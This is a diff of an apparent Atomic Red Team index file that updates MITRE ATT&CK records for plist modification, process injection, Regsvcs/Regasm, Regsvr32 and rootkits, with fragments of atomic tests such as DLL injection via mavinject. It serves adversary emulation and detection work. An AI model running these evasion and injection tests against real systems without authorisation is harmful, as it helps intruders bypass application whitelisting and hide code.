Saavedra-Morales, J., Sherstobitoff, R. (2018, January 6). Malicious + Document Targets Pyeongchang Olympics. Retrieved April 10, 2018. + source_name: McAfee Malicious Doc Targets Pyeongchang Olympics + url: https://securingtomorrow.mcafee.com/mcafee-labs/malicious-document-targets-pyeongchang-olympics/ + - source_name: GitHub Revoke-Obfuscation + description: Bohannon, D. (2017, July 27). Revoke-Obfuscation. Retrieved February + 12, 2018. + url: https://github.com/danielbohannon/Revoke-Obfuscation + - source_name: GitHub Office-Crackros Aug 2016 + description: Carr, N. (2016, August 14). OfficeCrackros. Retrieved February + 12, 2018. + url: https://github.com/itsreallynick/office-crackros x_mitre_defense_bypassed: - Host forensic analysis - Signature-based detection @@ -8777,44 +9041,14 @@ defense-evasion: /tmp/art.sh T1150: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1150 - source_name: mitre-attack - external_id: T1150 - - url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - source_name: Sofacy Komplex Trojan - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). - Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_defense_bypassed: - - Application whitelisting - - Process whitelisting - - Whitelisting by file name or path x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters - modified: '2019-02-19T16:27:45.214Z' - x_mitre_detection: |- - File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. - - Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - id: attack-pattern--06780952-177c-4247-b978-79c357fb311f + x_mitre_permissions_required: + - User + - Administrator name: Plist Modification - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded @@ -8826,9 +9060,39 @@ defense-evasion: files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)" - x_mitre_permissions_required: - - User - - Administrator + id: attack-pattern--06780952-177c-4247-b978-79c357fb311f + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like "Knock Knock" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed. + + Monitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-06-25T11:58:11.559Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1150 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1150 + - source_name: Sofacy Komplex Trojan + description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + x_mitre_defense_bypassed: + - Application whitelisting + - Process whitelisting + - Whitelisting by file name or path identifier: T1150 atomic_tests: - name: Plist Modification @@ -8851,88 +9115,11 @@ defense-evasion: 2. Subsequently, follow the steps for adding and running via [Launch Agent](Persistence/Launch_Agent.md) T1055: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1055 - source_name: mitre-attack - external_id: T1055 - - url: https://capec.mitre.org/data/definitions/242.html - source_name: capec - external_id: CAPEC-242 - - url: https://github.com/mattifestation/PowerSploit - source_name: Powersploit - description: PowerSploit. (n.d.). Retrieved December 4, 2014. - - url: https://www.endgame.com/blog/technical-blog/hunting-memory - source_name: Endgame HuntingNMemory June 2017 - description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December - 7, 2017. - - url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx - source_name: Microsoft APC - description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December - 8, 2017. - - url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows - source_name: ENSIL AtomBombing Oct 2016 - description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE - INJECTION FOR WINDOWS. Retrieved December 8, 2017.' - - url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx - source_name: Microsoft Atom Table - description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017. - - url: https://docs.microsoft.com/sysinternals/downloads/sysmon - source_name: Microsoft Sysmon v6 May 2017 - description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved - December 13, 2017. - - url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html - source_name: FireEye TLS Nov 2017 - description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif - Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. - Retrieved December 18, 2017. - - url: https://www.datawire.io/code-injection-on-linux-and-macos/ - source_name: Datawire Code Injection - description: 'Turner-Trauring, I. (2017, April 18). “This will only hurt for - a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved - December 20, 2017.' - - url: http://hick.org/code/skape/papers/needle.txt - source_name: Uninformed Needle - description: skape. (2003, January 19). Linux x86 run-time process manipulation. - Retrieved December 20, 2017. - - url: http://phrack.org/issues/51/8.html - source_name: Phrack halfdead 1997 - description: halflife. (1997, September 1). Shared Library Redirection Techniques. - Retrieved December 20, 2017. - - url: http://vxer.org/lib/vrn00.html - source_name: VDSO hijack 2009 - description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via - GOT poisoning. Retrieved December 20, 2017. - - source_name: ArtOfMemoryForensics - description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: - Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved - December 20, 2017.' - - url: https://www.gnu.org/software/acct/ - source_name: GNU Acct - description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved - December 20, 2017. - - url: https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing - source_name: RHEL auditd - description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - - Chapter 7 - System Auditing. Retrieved December 20, 2017. - - url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html - source_name: Chokepoint preload rootkits - description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. - Retrieved December 20, 2017. - - url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/ - source_name: CyberBit Early Bird Apr 2018 - description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ - Code Injection Technique Discovered. Retrieved May 24, 2018. - - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process - source_name: Endgame Process Injection July 2017 - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: - A Technical Survey Of Common And Trending Process Injection Techniques. - Retrieved December 7, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Anastasios Pingios - - Christiaan Beek, @ChristiaanBeek - - Ryan Becwar + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + - root x_mitre_data_sources: - API monitoring - Windows Registry @@ -8940,33 +9127,7 @@ defense-evasion: - DLL monitoring - Process monitoring - Named Pipes - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017) - - Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) - - Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017) - - Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Process whitelisting - - Anti-virus - id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d name: Process Injection - created: '2017-05-31T21:30:47.843Z' - x_mitre_version: '1.0' - type: attack-pattern description: |- Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. @@ -8990,27 +9151,130 @@ defense-evasion: * **VDSO hijacking** performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object. (Citation: VDSO hijack 2009) Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel. + id: attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d + modified: '2019-07-18T17:27:02.580Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: |- + Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, QueueUserAPC/NtQueueApcThread, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Endgame Process Injection July 2017) + + Monitoring for Linux specific calls such as the ptrace system call, the use of LD_PRELOAD environment variable, or dlfcn dynamic linking API calls, should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods. (Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) + + Monitor for named pipe creation and connection events (Event IDs 17 and 18) for possible indicators of infected processes with external modules. (Citation: Microsoft Sysmon v6 May 2017) + + Monitor processes and command-line arguments for actions that could be done before or after code injection has occurred and correlate the information with related event information. Code injection may also be performed using [PowerShell](https://attack.mitre.org/techniques/T1086) with tools such as PowerSploit, (Citation: Powersploit) so additional PowerShell monitoring may be required to cover known implementations of this behavior. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Anastasios Pingios + - Christiaan Beek, @ChristiaanBeek + - Ryan Becwar + created: '2017-05-31T21:30:47.843Z' x_mitre_effective_permissions: - User - Administrator - SYSTEM - root - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - - root - identifier: T1055 - atomic_tests: - - name: Process Injection via mavinject.exe - description: 'Windows 10 Utility To Inject DLLS - -' - supported_platforms: - - windows - input_arguments: - dll_payload: - description: DLL to Inject + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + external_references: + - external_id: T1055 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1055 + - source_name: capec + external_id: CAPEC-640 + url: https://capec.mitre.org/data/definitions/640.html + - source_name: Endgame Process Injection July 2017 + description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + - source_name: Endgame HuntingNMemory June 2017 + description: Desimone, J. (2017, June 13). Hunting in Memory. Retrieved December + 7, 2017. + url: https://www.endgame.com/blog/technical-blog/hunting-memory + - source_name: Microsoft APC + description: Microsoft. (n.d.). Asynchronous Procedure Calls. Retrieved December + 8, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms681951.aspx + - source_name: CyberBit Early Bird Apr 2018 + description: Gavriel, H. & Erbesfeld, B. (2018, April 11). New ‘Early Bird’ + Code Injection Technique Discovered. Retrieved May 24, 2018. + url: https://www.cyberbit.com/blog/endpoint-security/new-early-bird-code-injection-technique-discovered/ + - source_name: ENSIL AtomBombing Oct 2016 + description: 'Liberman, T. (2016, October 27). ATOMBOMBING: BRAND NEW CODE + INJECTION FOR WINDOWS. Retrieved December 8, 2017.' + url: https://blog.ensilo.com/atombombing-brand-new-code-injection-for-windows + - source_name: Microsoft Atom Table + description: Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017. + url: https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx + - source_name: FireEye TLS Nov 2017 + description: Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif + Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. + Retrieved December 18, 2017. + url: https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html + - source_name: Datawire Code Injection + description: 'Turner-Trauring, I. (2017, April 18). “This will only hurt for + a moment”: code injection on Linux and macOS with LD_PRELOAD. Retrieved + December 20, 2017.' + url: https://www.datawire.io/code-injection-on-linux-and-macos/ + - source_name: Uninformed Needle + description: skape. (2003, January 19). Linux x86 run-time process manipulation. + Retrieved December 20, 2017. + url: http://hick.org/code/skape/papers/needle.txt + - source_name: Phrack halfdead 1997 + description: halflife. (1997, September 1). Shared Library Redirection Techniques. + Retrieved December 20, 2017. + url: http://phrack.org/issues/51/8.html + - source_name: VDSO hijack 2009 + description: O'Neill, R. (2009, May). Modern Day ELF Runtime infection via + GOT poisoning. Retrieved December 20, 2017. + url: http://vxer.org/lib/vrn00.html + - source_name: ArtOfMemoryForensics + description: 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: + Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved + December 20, 2017.' + - source_name: GNU Acct + description: GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved + December 20, 2017. + url: https://www.gnu.org/software/acct/ + - source_name: RHEL auditd + description: Jahoda, M. et al.. (2017, March 14). redhat Security Guide - + Chapter 7 - System Auditing. Retrieved December 20, 2017. + url: https://access.redhat.com/documentation/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing + - source_name: Chokepoint preload rootkits + description: stderr. (2014, February 14). Detecting Userland Preload Rootkits. + Retrieved December 20, 2017. + url: http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html + - source_name: Microsoft Sysmon v6 May 2017 + description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved + December 13, 2017. + url: https://docs.microsoft.com/sysinternals/downloads/sysmon + - source_name: Powersploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. + url: https://github.com/mattifestation/PowerSploit + x_mitre_defense_bypassed: + - Process whitelisting + - Anti-virus + identifier: T1055 + atomic_tests: + - name: Process Injection via mavinject.exe + description: 'Windows 10 Utility To Inject DLLS + +' + supported_platforms: + - windows + input_arguments: + dll_payload: + description: DLL to Inject type: Path default: C:\AtomicRedTeam\atomics\T1055\src\x64\T1055.dll process_id: @@ -9084,29 +9348,26 @@ defense-evasion: command: ".\\bin\\#{exe_binary}\n" T1121: technique: - external_references: - - external_id: T1121 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1121 - - url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx - source_name: MSDN Regsvcs - description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). - Retrieved July 1, 2016. - - url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx - source_name: MSDN Regasm - description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved - July 1, 2016. - - source_name: SubTee GitHub All The Things Application Whitelisting Bypass - description: Smith, C. (2016, August 17). Includes 5 Known Application Whitelisting/ - Application Control Bypass Techniques in One File. Retrieved June 30, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Casey Smith x_mitre_data_sources: - Process monitoring - Process command-line parameters - modified: '2019-04-12T17:41:13.440Z' + x_mitre_permissions_required: + - User + - Administrator + name: Regsvcs/Regasm + description: |- + Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) + + Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: LOLBAS Regsvcs)(Citation: LOLBAS Regasm) + x_mitre_remote_support: false + id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302 + modified: '2019-07-31T19:26:35.927Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.2' + type: attack-pattern x_mitre_detection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries @@ -9114,29 +9375,35 @@ defense-evasion: used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Casey Smith + created: '2017-05-31T21:31:33.499Z' kill_chain_phases: - phase_name: defense-evasion kill_chain_name: mitre-attack - phase_name: execution kill_chain_name: mitre-attack + external_references: + - source_name: mitre-attack + external_id: T1121 + url: https://attack.mitre.org/techniques/T1121 + - description: Microsoft. (n.d.). Regsvcs.exe (.NET Services Installation Tool). + Retrieved July 1, 2016. + source_name: MSDN Regsvcs + url: https://msdn.microsoft.com/en-us/library/04za0hca.aspx + - description: Microsoft. (n.d.). Regasm.exe (Assembly Registration Tool). Retrieved + July 1, 2016. + source_name: MSDN Regasm + url: https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx + - description: LOLBAS. (n.d.). Regsvcs.exe. Retrieved July 31, 2019. + source_name: LOLBAS Regsvcs + url: https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/ + - description: LOLBAS. (n.d.). Regasm.exe. Retrieved July 31, 2019. + source_name: LOLBAS Regasm + url: https://lolbas-project.github.io/lolbas/Binaries/Regasm/ x_mitre_defense_bypassed: - Process whitelisting - Digital Certificate Validation - id: attack-pattern--215190a9-9f02-4e83-bb5f-e0589965a302 - name: Regsvcs/Regasm - created: '2017-05-31T21:31:33.499Z' - x_mitre_version: '1.1' - x_mitre_remote_support: false - type: attack-pattern - description: |- - Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs) (Citation: MSDN Regasm) - - Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: [ComRegisterFunction] or [ComUnregisterFunction] respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass) - x_mitre_permissions_required: - - User - - Administrator identifier: T1121 atomic_tests: - name: Regasm Uninstall Method Call Test @@ -9190,39 +9457,32 @@ defense-evasion: del key.snk T1117: technique: - external_references: - - external_id: T1117 - source_name: mitre-attack - url: https://attack.mitre.org/techniques/T1117 - - url: https://support.microsoft.com/en-us/kb/249873 - source_name: Microsoft Regsvr32 - description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and - troubleshoot Regsvr32 error messages. Retrieved June 22, 2016. - - url: https://web.archive.org/web/20161128183535/https://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html - source_name: SubTee Regsvr32 Whitelisting Bypass - description: Smith, C. (2016, April 19). Bypass Application Whitelisting Script - Protections - Regsvr32.exe & COM Scriptlets (.sct files). Retrieved June - 30, 2017. - - url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ - source_name: Carbon Black Squiblydoo Apr 2016 - description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” - Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. - Retrieved April 9, 2018.' - - url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html - source_name: FireEye Regsvr32 Targeting Mongolian Gov - description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing - Techniques Used in Attacks Targeting the Mongolian Government. Retrieved - February 24, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Casey Smith x_mitre_data_sources: - Loaded DLLs - Process monitoring - Windows Registry - Process command-line parameters - modified: '2019-02-05T23:12:49.697Z' + x_mitre_permissions_required: + - User + - Administrator + name: Regsvr32 + description: |- + Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32) + + Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary. + + Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: LOLBAS Regsvr32) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) + + Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016) + x_mitre_remote_support: false + id: attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a + modified: '2019-07-31T19:31:54.893Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.2' + type: attack-pattern x_mitre_detection: 'Use process monitoring to monitor the execution and arguments of regsvr32.exe. Compare recent invocations of regsvr32.exe with prior history of known good arguments and loaded files to determine anomalous and potentially @@ -9230,34 +9490,39 @@ defense-evasion: invocation may also be useful in determining the origin and purpose of the script or DLL being loaded. (Citation: Carbon Black Squiblydoo Apr 2016)' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Casey Smith + created: '2017-05-31T21:31:26.966Z' kill_chain_phases: - phase_name: defense-evasion kill_chain_name: mitre-attack - phase_name: execution kill_chain_name: mitre-attack + external_references: + - source_name: mitre-attack + external_id: T1117 + url: https://attack.mitre.org/techniques/T1117 + - description: Microsoft. (2015, August 14). How to use the Regsvr32 tool and + troubleshoot Regsvr32 error messages. Retrieved June 22, 2016. + source_name: Microsoft Regsvr32 + url: https://support.microsoft.com/en-us/kb/249873 + - description: LOLBAS. (n.d.). Regsvr32.exe. Retrieved July 31, 2019. + source_name: LOLBAS Regsvr32 + url: https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/ + - description: 'Nolen, R. et al.. (2016, April 28). Threat Advisory: “Squiblydoo” + Continues Trend of Attackers Using Native OS Tools to “Live off the Land”. + Retrieved April 9, 2018.' + source_name: Carbon Black Squiblydoo Apr 2016 + url: https://www.carbonblack.com/2016/04/28/threat-advisory-squiblydoo-continues-trend-of-attackers-using-native-os-tools-to-live-off-the-land/ + - description: Anubhav, A., Kizhakkinan, D. (2017, February 22). Spear Phishing + Techniques Used in Attacks Targeting the Mongolian Government. Retrieved + February 24, 2017. + source_name: FireEye Regsvr32 Targeting Mongolian Gov + url: https://www.fireeye.com/blog/threat-research/2017/02/spear_phishing_techn.html x_mitre_defense_bypassed: - Process whitelisting - Anti-virus - Digital Certificate Validation - id: attack-pattern--68f7e3a1-f09f-4164-9a62-16b648a0dd5a - name: Regsvr32 - created: '2017-05-31T21:31:26.966Z' - x_mitre_version: '1.1' - x_mitre_remote_support: false - type: attack-pattern - description: |- - Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe can be used to execute arbitrary binaries. (Citation: Microsoft Regsvr32) - - Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of, and modules loaded by, the regsvr32.exe process because of whitelists or false positives from Windows using regsvr32.exe for normal operations. Regsvr32.exe is also a Microsoft signed binary. - - Regsvr32.exe can also be used to specifically bypass process whitelisting using functionality to load COM scriptlets to execute DLLs under user permissions. Since regsvr32.exe is network and proxy aware, the scripts can be loaded by passing a uniform resource locator (URL) to file on an external Web server as an argument during invocation. This method makes no changes to the Registry as the COM object is not actually registered, only executed. (Citation: SubTee Regsvr32 Whitelisting Bypass) This variation of the technique is often referred to as a "Squiblydoo" attack and has been used in campaigns targeting governments. (Citation: Carbon Black Squiblydoo Apr 2016) (Citation: FireEye Regsvr32 Targeting Mongolian Gov) - - Regsvr32.exe can also be leveraged to register a COM Object used to establish Persistence via [Component Object Model Hijacking](https://attack.mitre.org/techniques/T1122). (Citation: Carbon Black Squiblydoo Apr 2016) - x_mitre_permissions_required: - - User - - Administrator identifier: T1117 atomic_tests: - name: Regsvr32 local COM scriptlet execution @@ -9317,58 +9582,61 @@ defense-evasion: ' T1014: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1014 - source_name: mitre-attack - external_id: T1014 - - url: https://en.wikipedia.org/wiki/Rootkit - source_name: Wikipedia Rootkit - description: Wikipedia. (2016, June 1). Rootkit. Retrieved June 2, 2016. - - url: https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ - source_name: CrowdStrike Linux Rootkit - description: Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. - Retrieved December 21, 2017. - - url: http://www.blackhat.com/docs/asia-14/materials/Tsai/WP-Asia-14-Tsai-You-Cant-See-Me-A-Mac-OS-X-Rootkit-Uses-The-Tricks-You-Havent-Known-Yet.pdf - source_name: BlackHat Mac OSX Rootkit - description: 'Pan, M., Tsai, S. (2014). You can’t see me: A Mac OS X Rootkit - uses the tricks you haven''t known yet. Retrieved December 21, 2017.' - - url: https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf - source_name: Symantec Windows Rootkits - description: Symantec. (n.d.). Windows Rootkit Overview. Retrieved December - 21, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_permissions_required: - - Administrator - - SYSTEM - - root x_mitre_data_sources: - BIOS - MBR - System calls - modified: '2018-10-17T00:14:20.652Z' + x_mitre_permissions_required: + - Administrator + - SYSTEM + - root + name: Rootkit + description: |- + Rootkits are programs that hide the existence of malware by intercepting (i.e., [Hooking](https://attack.mitre.org/techniques/T1179)) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a [Hypervisor](https://attack.mitre.org/techniques/T1062), Master Boot Record, or the [System Firmware](https://attack.mitre.org/techniques/T1019). (Citation: Wikipedia Rootkit) + + Adversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit) + id: attack-pattern--0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: 'Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to 